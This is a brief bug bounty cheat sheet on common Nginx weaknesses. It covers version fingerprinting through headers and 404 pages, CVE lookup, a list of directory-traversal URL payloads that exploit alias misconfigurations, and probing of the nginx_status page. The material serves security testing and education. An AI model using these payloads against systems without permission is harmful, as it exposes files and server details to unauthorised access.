AllAboutBugBounty/Technologies/Nginx.md

27 lines
978 B
Markdown
Raw Normal View History

2022-06-18 13:26:55 +00:00
# Nginx Common Bugs
2021-11-13 23:21:02 +00:00
2022-06-18 13:26:55 +00:00
## Introduction
What would you do if you came across a website that uses Nginx?
## How to Detect
Usually in the HTTP response there is a header like this `Server: nginx`
1. Find the related CVE by checking nginx version
* How to find the nginx version
By checking the response header or using 404 page, sometimes the version is printed there. If you found outdated nginx version, find the CVEs at [CVE Details](https://www.cvedetails.com/vulnerability-list/vendor_id-315/product_id-101578/F5-Nginx.html)
2. Directory traversal
2021-11-13 23:21:02 +00:00
```
https://example.com/folder1../folder1/folder2/static/main.css
https://example.com/folder1../%s/folder2/static/main.css
https://example.com/folder1/folder2../folder2/static/main.css
https://example.com/folder1/folder2../%s/static/main.css
https://example.com/folder1/folder2/static../static/main.css
https://example.com/folder1/folder2/static../%s/main.css
2022-06-18 13:26:55 +00:00
```
3. Nginx status page
```
https://example.com/nginx_status
2021-11-13 23:21:02 +00:00
```